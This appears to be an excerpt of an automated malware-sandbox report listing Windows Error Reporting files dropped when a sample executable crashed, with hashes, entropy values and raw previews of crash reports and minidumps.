Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.5.1.6.7.7.7.2.2.2.3.9.8.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.5.1.6.7.7.7.6.9.1.1.4.5.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.e.7.7.e.3.c.4.-.7.d.d.5.-.4.c.6.6.-.a.1.6.e.-.3.7.1.f.7.8.b.8.a.d.4.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.5.2.d.a.c.8.2.-.7.a.e.b.-.4.f.d.9.-.9.e.4.a.-.4.1.8.a.9.a.a.0.9.b.5.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.6.5.9.e.6.d.f.3.4.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.a.c.-.0.0.0.1.-.0.0.1.5.-.4.9.9.4.-.5.9.0.a.c.3.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.4.7.9.7.5.d.1.f.2.0.a.9.f.5.2.f.9.a.d.c.e.f.8.c.9.c.b.0.4.3.2.0.0.0.0.f.f.f.f.!.0.0.0.0.e.0.2.2.e.b.f.c.8.0.1.1.c.d.d.a.8.9.b.d.6.8.2.0.0.1.8.0.7.e.8.7.f.2.9.d.e.5.6.4.!.6.5.9.e.6.d.f.3.4.d...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_659e6df34d.exe_d8193af9cd15a337985c9ea7932cee3b3a794dc_031307e8_b11cb976-de52-4509-a770-cff41b16cdd3\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9643145398522092
Encrypted:	false
SSDEEP:	96:bwaELdf7sFhq42Ggf/QXIDcQJGc6fcEUcw35+HbHgnoW6HeysrLOyKI0ZvXNtZrq:1qf7LY02b+KjldZrP2azuiFIZ24IO8y
MD5:	5C6D8FEFE2214041C79D0F1A5B229E0D
SHA1:	8436A92FF9550CD7D098CE40C41DB74AA40F7688
SHA-256:	46ACA45DE1EADEB7A75B64E12C60E8E43B31C01167F7C5BE72062E26FE89F29F
SHA-512:	5DED40A6D4026CE8447356C3C7876F32ED2AD21AAC3888F44474B29ABA1C0606F3C0673875A2FDC8EEB235A5CE87B7FE7E1955290A79D009F84ADD4B0FC7D792
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.5.1.6.8.0.7.5.4.5.9.5.2.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.5.1.6.8.0.8.1.0.8.4.4.1.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.1.1.c.b.9.7.6.-.d.e.5.2.-.4.5.0.9.-.a.7.7.0.-.c.f.f.4.1.b.1.6.c.d.d.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.f.d.e.2.3.e.6.-.6.4.c.b.-.4.7.a.f.-.9.5.0.4.-.5.4.f.5.3.a.0.b.9.d.6.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.6.5.9.e.6.d.f.3.4.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.1.6.0.-.0.0.0.1.-.0.0.1.5.-.a.1.e.7.-.1.d.1.c.c.3.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.4.7.9.7.5.d.1.f.2.0.a.9.f.5.2.f.9.a.d.c.e.f.8.c.9.c.b.0.4.3.2.0.0.0.0.f.f.f.f.!.0.0.0.0.e.0.2.2.e.b.f.c.8.0.1.1.c.d.d.a.8.9.b.d.6.8.2.0.0.1.8.0.7.e.8.7.f.2.9.d.e.5.6.4.!.6.5.9.e.6.d.f.3.4.d...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_659e6df34d.exe_d8193af9cd15a337985c9ea7932cee3b3a794dc_031307e8_e9f11297-d186-4910-bcc3-efe1b8af0941\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9645224497145308
Encrypted:	false
SSDEEP:	192:JQGUOLY02b+KjldZrP2yzuiFIZ24IO8y:uGFLz2b+Kj1VzuiFIY4IO8y
MD5:	D4AA073E91BCA105BDCA5688B12DE87D
SHA1:	8F0F5EBFC78CE3FD68D2475CE31C881D2ED1D993
SHA-256:	2A8D9C09138F66F33B241C8C7170C2290B8CC494E08841E1B6635223D02CBCEE
SHA-512:	21F0F64BE4E91D92E4DCAC9CAD474849A49C24AFEE0448A99BAA126733FDCB45B05CDF58B900A1B239770EC19741BED4AC8C24E5DF374F4A44B3A12360959C9F
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.5.1.6.7.9.0.5.2.8.1.3.3.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.5.1.6.7.9.0.9.1.8.7.4.9.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.9.f.1.1.2.9.7.-.d.1.8.6.-.4.9.1.0.-.b.c.c.3.-.e.f.e.1.b.8.a.f.0.9.4.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.d.0.c.8.2.8.1.-.5.e.5.8.-.4.8.e.f.-.9.5.1.e.-.0.e.0.9.2.0.7.b.8.3.9.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.6.5.9.e.6.d.f.3.4.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.b.0.-.0.0.0.1.-.0.0.1.5.-.8.1.9.f.-.6.8.1.2.c.3.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.4.7.9.7.5.d.1.f.2.0.a.9.f.5.2.f.9.a.d.c.e.f.8.c.9.c.b.0.4.3.2.0.0.0.0.f.f.f.f.!.0.0.0.0.e.0.2.2.e.b.f.c.8.0.1.1.c.d.d.a.8.9.b.d.6.8.2.0.0.1.8.0.7.e.8.7.f.2.9.d.e.5.6.4.!.6.5.9.e.6.d.f.3.4.d...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_a3b8183025e5d33eb444661acef6d25a49d72c_864df792_23c4ae9d-f460-4653-b232-c49d845767d1\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.116180676390467
Encrypted:	false
SSDEEP:	192:HkqrdhvaPlTtO0xl8QS03jEhZrMZ29U5zuiFIZ24IO8ThB:NaN51xmQljbMIzuiFIY4IO8L
MD5:	AA948173386F98EFE70FCFA3F297A153
SHA1:	718AFCA8BFC829BCDED5F39B355CCA4BBB7DA81D
SHA-256:	5A7788F86068888718A042239713B526E2CFD278C82C6A5269E0D1EF40274FBE
SHA-512:	CA7894E8BA7076F7EC7194959C6768602B1DC6DD5518F15A8AB2A1F390DFEC0F02866387B6E0BF177A266B9A3079FD380BA69EE36824893CFEAA129BB83112A4
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.5.1.6.7.6.5.2.1.7.1.8.5.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.5.1.6.7.6.6.0.1.4.0.6.5.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.3.c.4.a.e.9.d.-.f.4.6.0.-.4.6.5.3.-.b.2.3.2.-.c.4.9.d.8.4.5.7.6.7.d.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.7.c.2.a.3.b.b.-.d.f.4.c.-.4.4.d.1.-.9.4.f.1.-.a.0.5.5.a.c.1.c.c.0.7.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.e.0.-.0.0.0.1.-.0.0.1.5.-.4.1.f.f.-.9.2.f.7.c.2.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.e.4.9.2.d.7.6.8.e.7.9.7.3.1.6.2.4.b.c.d.f.2.e.7.6.1.5.f.9.1.8.0.0.0.0.f.f.f.f.!.0.0.0.0.e.0.2.2.e.b.f.c.8.0.1.1.c.d.d.a.8.9.b.d.6.8.2.0.0.1.8.0.7.e.8.7.f.2.9.d.e.5.6.4.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.7.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1F09.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jul 27 01:19:25 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	60553
Entropy (8bit):	2.7477895352620516
Encrypted:	false
SSDEEP:	384:hnEJia7HkEtXI892MemgRl9gWday6VtEopvrA3wAk4f5:hEJr7HkEt6Mebl9DaNTVr+ka
MD5:	16D5879E87A7D44A755D7F394FE4280E
SHA1:	DE02E40A56B43E21DF667F869583BC318E20CF75
SHA-256:	9551DB13B4C20A0653E6C2496C7363346BBA9C4494BB5645468AC68278520A84
SHA-512:	89D035BB2661EF14822CC290FF28CBEEAA36B8BED72FBBF04A60AF9376992D5388E6C4268409E374290AC485C31FEE45DFCF33DFC5FAE70C61B4FBA86FAFA9EE
Malicious:	false
Preview:	MDMP..a..... ........K.f............4...............<.......D....7..........T.......8...........T............_...............&...........(..............................................................................eJ......h)......GenuineIntel............T............K.f.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2091.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8310
Entropy (8bit):	3.6902457835585305
Encrypted:	false
SSDEEP:	192:R6l7wVeJKCl6BVU6Y2D6SUNMGsgmfB1ivypDt89bK5hwsf4mum:R6lXJb6BVU6YXSUKNgmf+tKLfl
MD5:	3E8269D0516D3BB9D86AACF8EA7A7C96
SHA1:	EFE348830CF6E30AD324B34E2A0F1813BD588603
SHA-256:	AEC1710846151DFA1B812A1CAEAEF483BA50F80F6B8CD61C96B14305C5E899F3
SHA-512:	B39CBD686B89BDB0441E827D1D0CCD43D691DEDCAC46C028CB02C0FB97237FF1374AC3E4311A9EDAE89E7F65811087C38DDE7AEB2EB6B1DED5577E5440A19C75
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.8.8.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER20C1.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4537
Entropy (8bit):	4.418160715809565
Encrypted:	false
SSDEEP:	48:cvIwWl8zsqJg77aI9d6WpW8VY0Ym8M4JWdFZ+q80gVBPId:uIjf4I7r77VwJS2VBPId
MD5:	E3EFC6444C1E41BC845BDFE33BA5CFC5
SHA1:	EE744F4E505540C2C26AC590876FCBF7B4A019D8
SHA-256:	700FF1AB646B2F56873AF3544F708B2D0B82BA9861A35B8A483E5BB3D5C4F785
SHA-512:	A0A7EA6663AB89122A6A6058A88CB0695849DA44D183E6C2AF72E45E81CFC970B31647650E29229D4BF1F74F59891D2974693B7BB2064C7C8D3AE60D1453AAEB
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="428662" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4DCA.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jul 27 01:19:37 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	64183
Entropy (8bit):	2.0500046087895236
Encrypted:	false
SSDEEP:	192:Ud19XUsS54ekXv9JYOkOJw7YcjkDvjb6YDfYQOrYzAHPvIY/7sGI20U07CF5U3qD:OS54vJfkEkYcjkDvXpQJIPU0a7m+OMik
MD5:	335512E193F9E121847F3341B4B10BE2
SHA1:	16CC27D9CDA5D8441069CD933070A72B38C75387
SHA-256:	3DAEFDE0D723CD5964DD1C9AA5DF41806A834BB48E3F1A396BD89C423FD4523E
SHA-512:	C53BF744893369449CE63B6B9E63622DE015249D9FEE00D36A67B6B760A0845C86E5235852FEC7BF43C1312F08E6525D768FFF36614182C033E82F9B4798D716
Malicious:	false
Preview:	MDMP..a..... .......)K.f............4...............<.......D....*..........T.......8...........T...........x3..?.......................................................................................................eJ......H.......GenuineIntel............T...........&K.f.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4E67.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8332
Entropy (8bit):	3.692532287928939
Encrypted:	false
SSDEEP:	192:R6l7wVeJcy6jQq6YS5w67cGpgmfMvpDO89b5isftvTm:R6lXJJ6jQq6Y6w67cGpgmfMd5hfM
MD5:	5D402353350ABE8EBDB5FF877E47CC99
SHA1:	03B8CE9FC1F04046CED6F013B45271E2ED1EBE17
SHA-256:	46B5CFA2970589647888F8F39B37811C641783C817C54F9647CB20846F7767F9
SHA-512:	2CDB26D54B5BB4FB2D0B9E2C23918A453D8DFDD2EBDABB1019642EE2DD2B13CA6AC238BB5BAC872EBCC37D8F0F9B0C97759E4F4D4C475C8C1BB935580BF4A2D3
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.5.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4EC6.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4583
Entropy (8bit):	4.439679606979897
Encrypted:	false
SSDEEP:	48:cvIwWl8zsqJg77aI9d6WpW8VY/2Ym8M4JrunFxw+q8cPpRB/DwMdd:uIjf4I7r77VeJriwRBRB/Ldd
MD5:	07F70163FE9A8AB9E40436DF90F6A50D
SHA1:	D211440A1CD0E9D67A4C904294C7F57D48E96C8C
SHA-256:	FE82CBC529C10A0B9E83900ED1E2358043D9B61F6B32D353C93E79D4C6FF3A41
SHA-512:	541ABB47D3BC004D639DECC4F2B2F88B9C15B66A9A1E19E9051C7D559FBF580116E8FC78EBABA32787C3084F86627B0E4868314827A3C4DCBD78ECD3E443C86F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="428662" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER81CA.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jul 27 01:19:50 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	63763
Entropy (8bit):	2.040899476997232
Encrypted:	false
SSDEEP:	384:AR3tt/MwESlY/E3LFd6GLRGAZfBnFK9YJ4/lO:Alt1MwEDUF0cbValO
MD5:	7F2255753DE86F02D619928FE350E4E5
SHA1:	8722AD3F81B15FA72098DE9F64482ED781EEFAD2
SHA-256:	FCE8ADDB9A29532E93BD6D0DE712339C3A67C8EF0DB321DF713E239F26E3D864
SHA-512:	FD6937BB9440F3C3D98493C53FD9EC15C44F8FC21D9096FA3E7592779ADDF9997B652CC5397C111764F32701542811854AFE40C11F64189148B532DFE111C120
Malicious:	false
Preview:	MDMP..a..... .......6K.f............4...............<.......D...0*..........T.......8...........T............2..............X...........D...............................................................................eJ..............GenuineIntel............T...........4K.f............................. ..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8239.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8344
Entropy (8bit):	3.693779046737789
Encrypted:	false
SSDEEP:	192:R6l7wVeJFt69ptGc6Y2DgSUoBv8gmfMvpDO89bgVsfFAm:R6lXJv67tGc6Y9SUoBkgmfMdguf3
MD5:	1CFF687A1F855DFFD21031BF59A3B41D
SHA1:	BE64F8BD83F53862D9AB80A6B8C4C800D6987BA5
SHA-256:	9805BE0F83666C13BA960AB048FDDE2BB90DEB31241200BCF646B172DAE698D7
SHA-512:	7ABBB4F539BFEFB57A60B9CD3C10417F9B0B103891E5E56A7CB27451E9DE6F88CDE8133DBD271AC0DA09E26FF3184A98015BD5DD14338A8E6A2B589E990EBEDC
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.8.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8269.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4583
Entropy (8bit):	4.442185915690704
Encrypted:	false
SSDEEP:	48:cvIwWl8zsqJg77aI9d6WpW8VY15Ym8M4JrunFK12MI+q8cPORB/bd:uIjf4I7r77VCoJrbIRmRB/bd
MD5:	35F3CD762DE7807307B9DDDC03824212
SHA1:	CD5D5D2E1708FCB8F2279B1C6C4FFC3E31AAC0C7
SHA-256:	F76147FC79110C586E3FFA0B5E662F05C52DB4A23A2BBB8CA46C77115E6541A6
SHA-512:	3F8F0329227C26693168C0E8C1CAEFABA9D42696471CF90C51BF4CAE58D875B2325024A2A4AAE9EBA0E3CFB993006988E7E5BA367FF02F5C240E5E6E17035983
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="428662" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC452.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jul 27 01:20:07 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	63687
Entropy (8bit):	2.0362549763198508
Encrypted:	false
SSDEEP:	192:apdtXU43t2d7Xi9OwOJweZYhxDN9sYDfYlHPlM0iQ7GkVPaq3zX8wk+z+fEIxGM9:kR3tZwwEtZYTDN9fjkMAQwkimDUleB0K
MD5:	8F8C7AFF66E4492B569403F35B6CDF94
SHA1:	BE91E62F0C781DD54C445089B5393330C6B8FE0F
SHA-256:	A3040048907B7CE3B32B682D8963B89A91228DDFE1218EFB8B9C709685B1100C
SHA-512:	CD4A953421DB5E3D3F238E944F53BB39762443CF6DA5BC476AB28973EF4B0BD2EFF790153D12C6C5405021BC44BF7F932901BACC04D7F52E213D68FA3229D815
Malicious:	false
